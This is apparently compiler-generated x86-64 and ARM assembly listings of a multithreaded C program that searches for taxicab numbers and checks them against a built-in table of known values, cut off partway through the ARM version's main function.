.size Limit, 4
Limit:
.long 500
.text
.type CmpTaxi, @function
CmpTaxi:
.LFB6:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov QWORD PTR -24[rbp], rdi
mov QWORD PTR -32[rbp], rsi
mov rax, QWORD PTR -24[rbp]
mov QWORD PTR -16[rbp], rax
mov rax, QWORD PTR -32[rbp]
mov QWORD PTR -8[rbp], rax
mov rax, QWORD PTR -16[rbp]
mov rdx, QWORD PTR 16[rax]
mov rax, QWORD PTR -8[rbp]
mov rax, QWORD PTR 16[rax]
cmp rdx, rax
seta al
movzx edx, al
mov rax, QWORD PTR -16[rbp]
mov rcx, QWORD PTR 16[rax]
mov rax, QWORD PTR -8[rbp]
mov rax, QWORD PTR 16[rax]
cmp rcx, rax
setb al
movzx ecx, al
mov eax, edx
sub eax, ecx
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE6:
.size CmpTaxi, .-CmpTaxi
.type Cubed, @function
Cubed:
.LFB7:
.cfi_startproc
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov QWORD PTR -8[rbp], rdi
mov rax, QWORD PTR -8[rbp]
imul rax, rax
imul rax, QWORD PTR -8[rbp]
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE7:
.size Cubed, .-Cubed
.type Check, @function
Check:
.LFB8:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 80
mov DWORD PTR -68[rbp], edi
mov DWORD PTR -72[rbp], esi
mov DWORD PTR -76[rbp], edx
mov DWORD PTR -80[rbp], ecx
mov eax, DWORD PTR -68[rbp]
mov rdi, rax
call Cubed
mov QWORD PTR -48[rbp], rax
mov eax, DWORD PTR -72[rbp]
mov rdi, rax
call Cubed
mov QWORD PTR -40[rbp], rax
mov eax, DWORD PTR -76[rbp]
mov rdi, rax
call Cubed
mov QWORD PTR -32[rbp], rax
mov eax, DWORD PTR -80[rbp]
mov rdi, rax
call Cubed
mov QWORD PTR -24[rbp], rax
mov rdx, QWORD PTR -48[rbp]
mov rax, QWORD PTR -40[rbp]
add rax, rdx
mov QWORD PTR -16[rbp], rax
mov rdx, QWORD PTR -32[rbp]
mov rax, QWORD PTR -24[rbp]
add rax, rdx
mov QWORD PTR -8[rbp], rax
mov rax, QWORD PTR -16[rbp]
cmp rax, QWORD PTR -8[rbp]
sete al
movzx eax, al
mov DWORD PTR -52[rbp], eax
cmp DWORD PTR -52[rbp], 0
je .L6
lea rdi, Mutex[rip]
call pthread_mutex_lock@PLT
mov rcx, QWORD PTR Taxi[rip]
mov eax, DWORD PTR TaxiCount[rip]
movsx rdx, eax
mov rax, rdx
add rax, rax
add rax, rdx
sal rax, 3
lea rdx, [rcx+rax]
mov eax, DWORD PTR -68[rbp]
mov DWORD PTR [rdx], eax
mov rcx, QWORD PTR Taxi[rip]
mov eax, DWORD PTR TaxiCount[rip]
movsx rdx, eax
mov rax, rdx
add rax, rax
add rax, rdx
sal rax, 3
lea rdx, [rcx+rax]
mov eax, DWORD PTR -72[rbp]
mov DWORD PTR 4[rdx], eax
mov rcx, QWORD PTR Taxi[rip]
mov eax, DWORD PTR TaxiCount[rip]
movsx rdx, eax
mov rax, rdx
add rax, rax
add rax, rdx
sal rax, 3
lea rdx, [rcx+rax]
mov eax, DWORD PTR -76[rbp]
mov DWORD PTR 8[rdx], eax
mov rcx, QWORD PTR Taxi[rip]
mov eax, DWORD PTR TaxiCount[rip]
movsx rdx, eax
mov rax, rdx
add rax, rax
add rax, rdx
sal rax, 3
lea rdx, [rcx+rax]
mov eax, DWORD PTR -80[rbp]
mov DWORD PTR 12[rdx], eax
mov rcx, QWORD PTR Taxi[rip]
mov eax, DWORD PTR TaxiCount[rip]
movsx rdx, eax
mov rax, rdx
add rax, rax
add rax, rdx
sal rax, 3
lea rdx, [rcx+rax]
mov rax, QWORD PTR -16[rbp]
mov QWORD PTR 16[rdx], rax
mov eax, DWORD PTR TaxiCount[rip]
add eax, 1
mov DWORD PTR TaxiCount[rip], eax
mov edx, DWORD PTR TaxiCount[rip]
mov eax, DWORD PTR TaxiSize[rip]
cmp edx, eax
jne .L7
mov eax, DWORD PTR TaxiSize[rip]
add eax, 100
mov DWORD PTR TaxiSize[rip], eax
mov eax, DWORD PTR TaxiSize[rip]
movsx rdx, eax
mov rax, rdx
add rax, rax
add rax, rdx
sal rax, 3
mov rdx, rax
mov rax, QWORD PTR Taxi[rip]
mov rsi, rdx
mov rdi, rax
call realloc@PLT
mov QWORD PTR Taxi[rip], rax
.L7:
lea rdi, Mutex[rip]
call pthread_mutex_unlock@PLT
.L6:
mov eax, DWORD PTR -52[rbp]
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE8:
.size Check, .-Check
.type LoopThread, @function
LoopThread:
.LFB9:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 48
mov QWORD PTR -40[rbp], rdi
mov rax, QWORD PTR -40[rbp]
mov eax, DWORD PTR [rax]
mov DWORD PTR -16[rbp], eax
mov eax, DWORD PTR -16[rbp]
add eax, 1
mov DWORD PTR -12[rbp], eax
mov eax, DWORD PTR -16[rbp]
add eax, 2
mov DWORD PTR -8[rbp], eax
mov eax, DWORD PTR Limit[rip]
mov DWORD PTR -4[rbp], eax
mov eax, DWORD PTR -12[rbp]
mov DWORD PTR -28[rbp], eax
jmp .L10
.L15:
mov eax, DWORD PTR -8[rbp]
mov DWORD PTR -24[rbp], eax
jmp .L11
.L14:
mov eax, DWORD PTR -24[rbp]
add eax, 1
mov DWORD PTR -20[rbp], eax
jmp .L12
.L13:
mov ecx, DWORD PTR -20[rbp]
mov edx, DWORD PTR -24[rbp]
mov esi, DWORD PTR -28[rbp]
mov eax, DWORD PTR -16[rbp]
mov edi, eax
call Check
add DWORD PTR -20[rbp], 1
.L12:
mov eax, DWORD PTR -20[rbp]
cmp eax, DWORD PTR -4[rbp]
jb .L13
add DWORD PTR -24[rbp], 1
.L11:
mov eax, DWORD PTR -24[rbp]
cmp eax, DWORD PTR -4[rbp]
jb .L14
add DWORD PTR -28[rbp], 1
.L10:
mov eax, DWORD PTR -28[rbp]
cmp eax, DWORD PTR -4[rbp]
jb .L15
mov eax, 0
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE9:
.size LoopThread, .-LoopThread
.section .rodata
.LC0:
.string "usage: %s count\n"
.align 8
.LC1:
.string "Sequence bad at position %u (you have %llu, should be %llu)\n"
.LC2:
.string "(!)"
.LC3:
.string ""
.align 8
.LC4:
.string "Taxi(%4d): %4u^3 + %4u^3 == %4u^3 + %4u^3 == %10llu%s\n"
.text
.globl main
.type main, @function
main:
.LFB10:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 192
mov DWORD PTR -180[rbp], edi
mov QWORD PTR -192[rbp], rsi
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
mov DWORD PTR -152[rbp], 500
cmp DWORD PTR -180[rbp], 1
je .L18
cmp DWORD PTR -180[rbp], 2
je .L19
jmp .L41
.L18:
mov DWORD PTR -152[rbp], 500
jmp .L21
.L19:
mov rax, QWORD PTR -192[rbp]
add rax, 8
mov rax, QWORD PTR [rax]
mov edx, 0
mov esi, 0
mov rdi, rax
call strtoul@PLT
mov DWORD PTR -152[rbp], eax
jmp .L21
.L41:
mov rax, QWORD PTR -192[rbp]
mov rdx, QWORD PTR [rax]
mov rax, QWORD PTR stderr[rip]
lea rsi, .LC0[rip]
mov rdi, rax
mov eax, 0
call fprintf@PLT
mov edi, 1
call exit@PLT
.L21:
mov edx, DWORD PTR -152[rbp]
mov eax, edx
add eax, eax
add eax, edx
shr eax
add eax, 50
mov DWORD PTR Limit[rip], eax
mov esi, 0
lea rdi, Mutex[rip]
call pthread_mutex_init@PLT
mov DWORD PTR TaxiCount[rip], 0
mov DWORD PTR TaxiSize[rip], 10
mov eax, DWORD PTR TaxiSize[rip]
movsx rdx, eax
mov rax, rdx
add rax, rax
add rax, rdx
sal rax, 3
mov rdi, rax
call malloc@PLT
mov QWORD PTR Taxi[rip], rax
mov DWORD PTR -160[rbp], 1
jmp .L22
.L28:
mov DWORD PTR -156[rbp], 0
jmp .L23
.L24:
mov rax, QWORD PTR stderr[rip]
mov rsi, rax
mov edi, 46
call fputc@PLT
mov eax, DWORD PTR -156[rbp]
mov edx, DWORD PTR -160[rbp]
mov DWORD PTR -144[rbp+rax*4], edx
lea rdx, -144[rbp]
mov eax, DWORD PTR -156[rbp]
sal rax, 2
add rdx, rax
lea rcx, -96[rbp]
mov eax, DWORD PTR -156[rbp]
sal rax, 3
add rax, rcx
mov rcx, rdx
lea rdx, LoopThread[rip]
mov esi, 0
mov rdi, rax
call pthread_create@PLT
add DWORD PTR -160[rbp], 1
add DWORD PTR -156[rbp], 1
.L23:
cmp DWORD PTR -156[rbp], 9
jbe .L24
mov DWORD PTR -156[rbp], 0
jmp .L25
.L26:
mov eax, DWORD PTR -156[rbp]
mov rax, QWORD PTR -96[rbp+rax*8]
mov esi, 0
mov rdi, rax
call pthread_join@PLT
add DWORD PTR -156[rbp], 1
.L25:
cmp DWORD PTR -156[rbp], 9
jbe .L26
.L22:
mov eax, DWORD PTR Limit[rip]
cmp DWORD PTR -160[rbp], eax
jnb .L27
mov eax, DWORD PTR -152[rbp]
lea edx, [rax+rax]
mov eax, DWORD PTR TaxiCount[rip]
cmp edx, eax
ja .L28
.L27:
mov rax, QWORD PTR stderr[rip]
mov rsi, rax
mov edi, 10
call fputc@PLT
mov eax, DWORD PTR TaxiCount[rip]
movsx rsi, eax
mov rax, QWORD PTR Taxi[rip]
lea rcx, CmpTaxi[rip]
mov edx, 24
mov rdi, rax
call qsort@PLT
mov DWORD PTR -164[rbp], 0
cmp DWORD PTR -152[rbp], 34
ja .L29
mov eax, DWORD PTR -152[rbp]
mov DWORD PTR -148[rbp], eax
jmp .L31
.L29:
mov DWORD PTR -148[rbp], 35
jmp .L31
.L33:
add DWORD PTR -164[rbp], 1
.L31:
mov eax, DWORD PTR -164[rbp]
cmp eax, DWORD PTR -148[rbp]
jnb .L32
mov rcx, QWORD PTR Taxi[rip]
mov edx, DWORD PTR -164[rbp]
mov rax, rdx
add rax, rax
add rax, rdx
sal rax, 3
add rax, rcx
mov rdx, QWORD PTR 16[rax]
mov eax, DWORD PTR -164[rbp]
lea rcx, 0[0+rax*8]
lea rax, valid.0[rip]
mov rax, QWORD PTR [rcx+rax]
cmp rdx, rax
je .L33
.L32:
mov eax, DWORD PTR -164[rbp]
cmp eax, DWORD PTR -148[rbp]
jnb .L34
mov eax, DWORD PTR -164[rbp]
lea rdx, 0[0+rax*8]
lea rax, valid.0[rip]
mov rsi, QWORD PTR [rdx+rax]
mov rcx, QWORD PTR Taxi[rip]
mov edx, DWORD PTR -164[rbp]
mov rax, rdx
add rax, rax
add rax, rdx
sal rax, 3
add rax, rcx
mov rcx, QWORD PTR 16[rax]
mov rax, QWORD PTR stderr[rip]
mov edx, DWORD PTR -164[rbp]
mov r8, rsi
lea rsi, .LC1[rip]
mov rdi, rax
mov eax, 0
call fprintf@PLT
mov edi, 1
call exit@PLT
.L34:
mov DWORD PTR -164[rbp], 0
jmp .L35
.L38:
cmp DWORD PTR -164[rbp], 0
je .L36
mov rcx, QWORD PTR Taxi[rip]
mov edx, DWORD PTR -164[rbp]
mov rax, rdx
add rax, rax
add rax, rdx
sal rax, 3
add rax, rcx
mov rdx, QWORD PTR 16[rax]
mov rcx, QWORD PTR Taxi[rip]
mov eax, DWORD PTR -164[rbp]
sub eax, 1
mov esi, eax
mov rax, rsi
add rax, rax
add rax, rsi
sal rax, 3
add rax, rcx
mov rax, QWORD PTR 16[rax]
cmp rdx, rax
jne .L36
lea rdx, .LC2[rip]
jmp .L37
.L36:
lea rdx, .LC3[rip]
.L37:
mov rsi, QWORD PTR Taxi[rip]
mov ecx, DWORD PTR -164[rbp]
mov rax, rcx
add rax, rax
add rax, rcx
sal rax, 3
add rax, rsi
mov rdi, QWORD PTR 16[rax]
mov rsi, QWORD PTR Taxi[rip]
mov ecx, DWORD PTR -164[rbp]
mov rax, rcx
add rax, rax
add rax, rcx
sal rax, 3
add rax, rsi
mov r9d, DWORD PTR 12[rax]
mov rsi, QWORD PTR Taxi[rip]
mov ecx, DWORD PTR -164[rbp]
mov rax, rcx
add rax, rax
add rax, rcx
sal rax, 3
add rax, rsi
mov r8d, DWORD PTR 8[rax]
mov rsi, QWORD PTR Taxi[rip]
mov ecx, DWORD PTR -164[rbp]
mov rax, rcx
add rax, rax
add rax, rcx
sal rax, 3
add rax, rsi
mov ecx, DWORD PTR 4[rax]
mov r10, QWORD PTR Taxi[rip]
mov esi, DWORD PTR -164[rbp]
mov rax, rsi
add rax, rax
add rax, rsi
sal rax, 3
add rax, r10
mov eax, DWORD PTR [rax]
mov esi, DWORD PTR -164[rbp]
add esi, 1
push rdx
push rdi
mov edx, eax
lea rdi, .LC4[rip]
mov eax, 0
call printf@PLT
add rsp, 16
add DWORD PTR -164[rbp], 1
.L35:
mov eax, DWORD PTR -164[rbp]
cmp eax, DWORD PTR -152[rbp]
jb .L38
mov eax, 0
mov rdi, QWORD PTR -8[rbp]
sub rdi, QWORD PTR fs:40
je .L40
call __stack_chk_fail@PLT
.L40:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE10:
.size main, .-main
.section .rodata
.align 32
.type valid.0, @object
.size valid.0, 280
valid.0:
.quad 1729
.quad 4104
.quad 13832
.quad 20683
.quad 32832
.quad 39312
.quad 40033
.quad 46683
.quad 64232
.quad 65728
.quad 110656
.quad 110808
.quad 134379
.quad 149389
.quad 165464
.quad 171288
.quad 195841
.quad 216027
.quad 216125
.quad 262656
.quad 314496
.quad 320264
.quad 327763
.quad 373464
.quad 402597
.quad 439101
.quad 443889
.quad 513000
.quad 513856
.quad 515375
.quad 525824
.quad 558441
.quad 593047
.quad 684019
.quad 704977
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "804017.c"
.text
.local Mutex
.comm Mutex,24,4
.local Taxi
.comm Taxi,4,4
.local TaxiCount
.comm TaxiCount,4,4
.local TaxiSize
.comm TaxiSize,4,4
.data
.align 2
.type Limit, %object
.size Limit, 4
Limit:
.word 500
.text
.align 2
.syntax unified
.arm
.fpu softvfp
.type CmpTaxi, %function
CmpTaxi:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
sub sp, sp, #20
str r0, [fp, #-16]
str r1, [fp, #-20]
ldr r3, [fp, #-16]
str r3, [fp, #-12]
ldr r3, [fp, #-20]
str r3, [fp, #-8]
ldr r3, [fp, #-12]
add r1, r3, #16
ldmia r1, {r0-r1}
ldr r3, [fp, #-8]
add r3, r3, #16
ldmia r3, {r2-r3}
cmp r1, r3
cmpeq r0, r2
movhi r3, #1
movls r3, #0
and r3, r3, #255
mov ip, r3
ldr r3, [fp, #-12]
add r1, r3, #16
ldmia r1, {r0-r1}
ldr r3, [fp, #-8]
add r3, r3, #16
ldmia r3, {r2-r3}
cmp r1, r3
cmpeq r0, r2
movcc r3, #1
movcs r3, #0
and r3, r3, #255
sub r3, ip, r3
mov r0, r3
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.size CmpTaxi, .-CmpTaxi
.align 2
.syntax unified
.arm
.fpu softvfp
.type Cubed, %function
Cubed:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #8
str r0, [fp, #-12]
str r1, [fp, #-8]
ldr r3, [fp, #-8]
ldr r2, [fp, #-12]
mul r2, r3, r2
ldr r3, [fp, #-8]
ldr r1, [fp, #-12]
mul r3, r1, r3
add r0, r2, r3
ldr r1, [fp, #-12]
umull r2, r3, r1, r1
add r1, r0, r3
mov r3, r1
ldr r1, [fp, #-12]
mul r0, r3, r1
ldr r1, [fp, #-8]
mul r1, r2, r1
add ip, r0, r1
ldr lr, [fp, #-12]
umull r0, r1, lr, r2
add r3, ip, r1
mov r1, r3
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.size Cubed, .-Cubed
.align 2
.syntax unified
.arm
.fpu softvfp
.type Check, %function
Check:
@ args = 0, pretend = 0, frame = 72
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, r5, r6, r7, fp, lr}
add fp, sp, #20
sub sp, sp, #72
str r0, [fp, #-80]
str r1, [fp, #-84]
str r2, [fp, #-88]
str r3, [fp, #-92]
ldr r3, [fp, #-80]
mov r2, r3
mov r3, #0
mov r0, r2
mov r1, r3
bl Cubed
str r0, [fp, #-68]
str r1, [fp, #-64]
ldr r3, [fp, #-84]
mov r2, r3
mov r3, #0
mov r0, r2
mov r1, r3
bl Cubed
str r0, [fp, #-60]
str r1, [fp, #-56]
ldr r3, [fp, #-88]
mov r2, r3
mov r3, #0
mov r0, r2
mov r1, r3
bl Cubed
str r0, [fp, #-52]
str r1, [fp, #-48]
ldr r3, [fp, #-92]
mov r2, r3
mov r3, #0
mov r0, r2
mov r1, r3
bl Cubed
str r0, [fp, #-44]
str r1, [fp, #-40]
sub r1, fp, #68
ldmia r1, {r0-r1}
sub r3, fp, #60
ldmia r3, {r2-r3}
adds r6, r0, r2
adc r7, r1, r3
str r6, [fp, #-36]
str r7, [fp, #-32]
sub r1, fp, #52
ldmia r1, {r0-r1}
sub r3, fp, #44
ldmia r3, {r2-r3}
adds r4, r0, r2
adc r5, r1, r3
str r4, [fp, #-28]
str r5, [fp, #-24]
sub r1, fp, #36
ldmia r1, {r0-r1}
sub r3, fp, #28
ldmia r3, {r2-r3}
cmp r1, r3
cmpeq r0, r2
moveq r3, #1
movne r3, #0
and r3, r3, #255
str r3, [fp, #-72]
ldr r3, [fp, #-72]
cmp r3, #0
beq .L6
ldr r0, .L9
bl pthread_mutex_lock
ldr r3, .L9+4
ldr r2, [r3]
ldr r3, .L9+8
ldr r3, [r3]
mov r1, r3
mov r3, r1
lsl r3, r3, #1
add r3, r3, r1
lsl r3, r3, #3
add r3, r2, r3
ldr r2, [fp, #-80]
str r2, [r3]
ldr r3, .L9+4
ldr r2, [r3]
ldr r3, .L9+8
ldr r3, [r3]
mov r1, r3
mov r3, r1
lsl r3, r3, #1
add r3, r3, r1
lsl r3, r3, #3
add r3, r2, r3
ldr r2, [fp, #-84]
str r2, [r3, #4]
ldr r3, .L9+4
ldr r2, [r3]
ldr r3, .L9+8
ldr r3, [r3]
mov r1, r3
mov r3, r1
lsl r3, r3, #1
add r3, r3, r1
lsl r3, r3, #3
add r3, r2, r3
ldr r2, [fp, #-88]
str r2, [r3, #8]
ldr r3, .L9+4
ldr r2, [r3]
ldr r3, .L9+8
ldr r3, [r3]
mov r1, r3
mov r3, r1
lsl r3, r3, #1
add r3, r3, r1
lsl r3, r3, #3
add r3, r2, r3
ldr r2, [fp, #-92]
str r2, [r3, #12]
ldr r3, .L9+4
ldr r2, [r3]
ldr r3, .L9+8
ldr r3, [r3]
mov r1, r3
mov r3, r1
lsl r3, r3, #1
add r3, r3, r1
lsl r3, r3, #3
add r1, r2, r3
sub r3, fp, #36
ldmia r3, {r2-r3}
str r2, [r1, #16]
str r3, [r1, #20]
ldr r3, .L9+8
ldr r3, [r3]
add r3, r3, #1
ldr r2, .L9+8
str r3, [r2]
ldr r3, .L9+8
ldr r2, [r3]
ldr r3, .L9+12
ldr r3, [r3]
cmp r2, r3
bne .L7
ldr r3, .L9+12
ldr r3, [r3]
add r3, r3, #100
ldr r2, .L9+12
str r3, [r2]
ldr r3, .L9+4
ldr r2, [r3]
ldr r3, .L9+12
ldr r3, [r3]
mov r1, r3
mov r3, r1
lsl r3, r3, #1
add r3, r3, r1
lsl r3, r3, #3
mov r1, r3
mov r0, r2
bl realloc
mov r3, r0
ldr r2, .L9+4
str r3, [r2]
.L7:
ldr r0, .L9
bl pthread_mutex_unlock
.L6:
ldr r3, [fp, #-72]
mov r0, r3
sub sp, fp, #20
@ sp needed
pop {r4, r5, r6, r7, fp, pc}
.L10:
.align 2
.L9:
.word Mutex
.word Taxi
.word TaxiCount
.word TaxiSize
.size Check, .-Check
.align 2
.syntax unified
.arm
.fpu softvfp
.type LoopThread, %function
LoopThread:
@ args = 0, pretend = 0, frame = 40
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #40
str r0, [fp, #-40]
ldr r3, [fp, #-40]
ldr r3, [r3]
str r3, [fp, #-20]
ldr r3, [fp, #-20]
add r3, r3, #1
str r3, [fp, #-16]
ldr r3, [fp, #-20]
add r3, r3, #2
str r3, [fp, #-12]
ldr r3, .L19
ldr r3, [r3]
str r3, [fp, #-8]
ldr r3, [fp, #-16]
str r3, [fp, #-32]
b .L12
.L17:
ldr r3, [fp, #-12]
str r3, [fp, #-28]
b .L13
.L16:
ldr r3, [fp, #-28]
add r3, r3, #1
str r3, [fp, #-24]
b .L14
.L15:
ldr r3, [fp, #-24]
ldr r2, [fp, #-28]
ldr r1, [fp, #-32]
ldr r0, [fp, #-20]
bl Check
ldr r3, [fp, #-24]
add r3, r3, #1
str r3, [fp, #-24]
.L14:
ldr r2, [fp, #-24]
ldr r3, [fp, #-8]
cmp r2, r3
bcc .L15
ldr r3, [fp, #-28]
add r3, r3, #1
str r3, [fp, #-28]
.L13:
ldr r2, [fp, #-28]
ldr r3, [fp, #-8]
cmp r2, r3
bcc .L16
ldr r3, [fp, #-32]
add r3, r3, #1
str r3, [fp, #-32]
.L12:
ldr r2, [fp, #-32]
ldr r3, [fp, #-8]
cmp r2, r3
bcc .L17
mov r3, #0
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L20:
.align 2
.L19:
.word Limit
.size LoopThread, .-LoopThread
.section .rodata
.align 2
.LC0:
.ascii "usage: %s count\012\000"
.align 2
.LC1:
.ascii "Sequence bad at position %u (you have %llu, should "
.ascii "be %llu)\012\000"
.align 2
.LC2:
.ascii "(!)\000"
.align 2
.LC3:
.ascii "\000"
.align 2
.LC4:
.ascii "Taxi(%4d): %4u^3 + %4u^3 == %4u^3 + %4u^3 == %10llu"
.ascii "%s\012\000"
.align 2
.LC5:
.word __stack_chk_guard
.text
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 112
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, r5, r6, r7, r8, r9, fp, lr}
add fp, sp, #28
sub sp, sp, #136
str r0, [fp, #-136]
str r1, [fp, #-140]
ldr r3, .L46
ldr r3, [r3]
str r3, [fp, #-32]
mov r3,#0
mov r3, #500
str r3, [fp, #-120]
ldr r3, [fp, #-136]
cmp r3, #1
beq .L22
ldr r3, [fp, #-136]
cmp r3, #2
beq .L23
b .L45
.L22:
mov r3, #500
str r3, [fp, #-120]
b .L25
.L23:
ldr r3, [fp, #-140]
add r3, r3, #4
ldr r3, [r3]
mov r2, #0
mov r1, #0
mov r0, r3
bl strtoul
str r0, [fp, #-120]
b .L25
.L45:
ldr r3, .L46+4
ldr r0, [r3]
ldr r3, [fp, #-140]
ldr r3, [r3]
mov r2, r3
ldr r1, .L46+8
bl fprintf
mov r0, #1
bl exit
.L25:
ldr r2, [fp, #-120]
mov r3, r2
lsl r3, r3, #1
add r3, r3, r2
lsr r3, r3, #1
add r3, r3, #50
ldr r2, .L46+12
str r3, [r2]
mov r1, #0
ldr r0, .L46+16
bl pthread_mutex_init
ldr r3, .L46+20
mov r2, #0
str r2, [r3]
ldr r3, .L46+24
mov r2, #10
str r2, [r3]
ldr r3, .L46+24
ldr r3, [r3]
mov r2, r3
mov r3, r2
lsl r3, r3, #1
add r3, r3, r2
lsl r3, r3, #3
mov r0, r3
bl malloc
mov r3, r0
mov r2, r3
ldr r3, .L46+28
str r2, [r3]
mov r3, #1
str r3, [fp, #-128]
b .L26
.L32:
mov r3, #0
str r3, [fp, #-124]
b .L27
.L28:
ldr r3, .L46+4
ldr r3, [r3]
mov r1, r3
mov r0, #46
bl fputc
ldr r3, [fp, #-124]
lsl r3, r3, #2
sub r2, fp, #28
add r3, r2, r3
ldr r2, [fp, #-128]
str r2, [r3, #-84]
sub r2, fp, #72
ldr r3, [fp, #-124]
lsl r3, r3, #2
add r0, r2, r3
sub r2, fp, #112
ldr r3, [fp, #-124]
lsl r3, r3, #2
add r3, r2, r3
ldr r2, .L46+32
mov r1, #0
bl pthread_create
ldr r3, [fp, #-128]
add r3, r3, #1
str r3, [fp, #-128]
ldr r3, [fp, #-124]
add r3, r3, #1
str r3, [fp, #-124]
.L27:
ldr r3, [fp, #-124]
cmp r3, #9
bls .L28
mov r3, #0
str r3, [fp, #-124]
b .L29
.L30:
ldr r3, [fp, #-124]
lsl r3, r3, #2
sub r2, fp, #28
add r3, r2, r3
ldr r3, [r3, #-44]
mov r1, #0
mov r0, r3
bl pthread_join
ldr r3, [fp, #-124]
add r3, r3, #1
str r3, [fp, #-124]
.L29:
ldr r3, [fp, #-124]
cmp r3, #9
bls .L30
.L26:
ldr r3, .L46+12
ldr r3, [r3]
ldr r2, [fp, #-128]
cmp r2, r3
bcs .L31
ldr r3, [fp, #-120]
lsl r3, r3, #1
ldr r2, .L46+20
ldr r2, [r2]
cmp r3, r2
bhi .L32
.L31:
ldr r3, .L46+4
ldr r3, [r3]
mov r1, r3
mov r0, #10
bl fputc
ldr r3, .L46+28
ldr r0, [r3]
ldr r3, .L46+20
ldr r3, [r3]
mov r1, r3
ldr r3, .L46+36
mov r2, #24
bl qsort
mov r3, #0
str r3, [fp, #-132]
ldr r3, [fp, #-120]
cmp r3, #34
bhi .L33
ldr r3, [fp, #-120]
str r3, [fp, #-116]
b .L35
.L33:
mov r3, #35
str r3, [fp, #-116]
b .L35
.L37:
ldr r3, [fp, #-132]
add r3, r3, #1
str r3, [fp, #-132]
.L35:
ldr r2, [fp, #-132]
ldr r3, [fp, #-116]
cmp r2, r3
bcs .L36
ldr r3, .L46+28
ldr r1, [r3]
ldr r2, [fp, #-132]
mov r3, r2
lsl r3, r3, #1
add r3, r3, r2
lsl r3, r3, #3
add r3, r1, r3
add r1, r3, #16
ldmia r1, {r0-r1}
ldr r2, .L46+40
ldr r3, [fp, #-132]
lsl r3, r3, #3
add r3, r2, r3
ldmia r3, {r2-r3}
cmp r1, r3
cmpeq r0, r2
beq .L37
.L36:
ldr r2, [fp, #-132]
ldr r3, [fp, #-116]
cmp r2, r3
bcs .L38
ldr r3, .L46+4
ldr ip, [r3]
ldr r3, .L46+28
ldr r1, [r3]
ldr r2, [fp, #-132]
mov r3, r2
lsl r3, r3, #1
add r3, r3, r2
lsl r3, r3, #3
add r3, r1, r3
add r3, r3, #16
ldmia r3, {r2-r3}
ldr r0, .L46+40
ldr r1, [fp, #-132]
lsl r1, r1, #3
add r1, r0, r1
ldmia r1, {r0-r1}
str r0, [sp, #8]
str r1, [sp, #12]
stm sp, {r2-r3}
ldr r2, [fp, #-132]
ldr r1, .L46+44
mov r0, ip
bl fprintf
mov r0, #1
bl exit
.L38:
mov r3, #0
str r3, [fp, #-132]
b .L39
.L42:
ldr r3, [fp, #-132]
add r7, r3, #1
ldr r3, .L46+28
ldr r1, [r3]
ldr r2, [fp, #-132]
mov r3, r2
lsl r3, r3, #1
add r3, r3, r2
lsl r3, r3, #3
add r3, r1, r3
ldr r8, [r3]
ldr r3, .L46+28
ldr r1, [r3]
ldr r2, [fp, #-132]
mov r3, r2
lsl r3, r3, #1
add r3, r3, r2
lsl r3, r3, #3
add r3, r1, r3
ldr r9, [r3, #4]
ldr r3, .L46+28
ldr r1, [r3]
ldr r2, [fp, #-132]
mov r3, r2
lsl r3, r3, #1
add r3, r3, r2
lsl r3, r3, #3
add r3, r1, r3
ldr ip, [r3, #8]
ldr r3, .L46+28
ldr r1, [r3]
ldr r2, [fp, #-132]
mov r3, r2
lsl r3, r3, #1
add r3, r3, r2
lsl r3, r3, #3
add r3, r1, r3
ldr lr, [r3, #12]
ldr r3, .L46+28
ldr r1, [r3]
ldr r2, [fp, #-132]
mov r3, r2
lsl r3, r3, #1
add r3, r3, r2
lsl r3, r3, #3
add r3, r1, r3
add r1, r3, #16
ldmia r1, {r0-r1}
ldr r3, [fp, #-132]
cmp r3, #0
beq .L40
ldr r3, .L46+28
ldr r4, [r3]
ldr r2, [fp, #-132]
mov r3, r2
lsl r3, r3, #1
add r3, r3, r2
lsl r3, r3, #3
add r3, r4, r3
add r5, r3, #16
ldmia r5, {r4-r5}
ldr r3, .L46+28
ldr r6, [r3]
ldr r2, [fp, #-132]
mov r3, r2
lsl r3, r3, #1
add r3, r3, r2
